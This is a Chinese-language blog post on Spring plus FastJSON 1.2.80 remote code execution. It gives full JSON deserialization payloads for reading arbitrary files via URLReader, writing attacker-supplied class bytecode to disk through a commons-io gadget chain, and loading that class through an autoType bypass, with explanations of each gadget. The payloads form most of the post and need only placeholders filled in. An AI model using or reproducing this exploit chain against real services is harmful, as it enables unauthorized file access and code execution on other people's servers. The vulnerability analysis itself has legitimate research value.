spring +fastjson 的 rce
字数 1006 2025-08-22 12:23:00
Spring + FastJSON RCE漏洞分析与利用
前言
在Spring环境下无法直接上传JSP木马实现RCE,通常需要通过控制加载class或jar包来实现。FastJSON的高版本正好提供了这样的能力。
环境搭建
依赖配置:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>org.eclipse.jdt.core</artifactId>
<version>1.9.22</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
Spring加载Class原理
Spring运行后大部分类不会加载,但有一些特殊类会被加载,如tomcat-docbase。原理类似于SPI机制。
启动Docker后,/tmp目录下会有一个随机命名的/tomcat-docbase....../WEB-INF/classes/目录。如果该目录下有恶意class文件,就会被加载。但由于目录名随机,利用时需要先读取文件。
FastJSON利用
读取文件
测试方法:
- 在服务器或本地放置测试文件
- 使用以下payload:
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://ip/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [102]
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"b": {
"$ref": "$.a.delegate"
}
}
原理分析:
org.apache.commons.io.input.BOMInputStream构造函数接受InputStream类型参数delegate和ByteOrderMark数组getBOM()方法逻辑:- 将
delegate输入流的字节码转为int数组 - 用
ByteOrderMark里的bytes逐个比对 - 比对错误返回null,全部正确返回
ByteOrderMark对象
- 将
ReaderInputStream将Reader转为输入流URLReader可以传入URL对象,支持file、jar、http等协议
写文件
必要依赖:
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.7</version>
</dependency>
Payload:
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String",
"value": "恶意字节码"
},
"charset": "iso-8859-1",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "写入路径",
"charset": "iso-8859-1",
"append": true
},
"charsetName": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
}
}
关键类分析:
-
XmlStreamReader构造函数:public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException { this.defaultEncoding = defaultEncoding; BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS); BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES); this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient); this.reader = new InputStreamReader(pis, this.encoding); }- 最终会调用
InputStream.read方法
- 最终会调用
-
TeeInputStream:public TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) { super(input); this.branch = branch; this.closeBranch = closeBranch; } public int read() throws IOException { int ch = super.read(); if (ch != -1) { branch.write(ch); } return ch; }- 将输入流内容重定向到输出流
-
控制写入内容:
- 使用
ReaderInputStream+CharSequenceReader CharSequenceReader.read方法从字符串中读取内容
- 使用
加载Class
Payload:
{
"@type": "java.lang.Exception",
"@type": "恶意类的名称,带上包名"
}
原理:
- 第一次解析为
Exception类 - 进入
ThrowableDeserializer - 第二次
checkAutoType时expectClass不为空,允许加载
总结
FastJSON的高版本绕过技术非常精妙,特别是写文件的payload设计。1.2.68版本的绕过技术更加精彩,值得深入研究。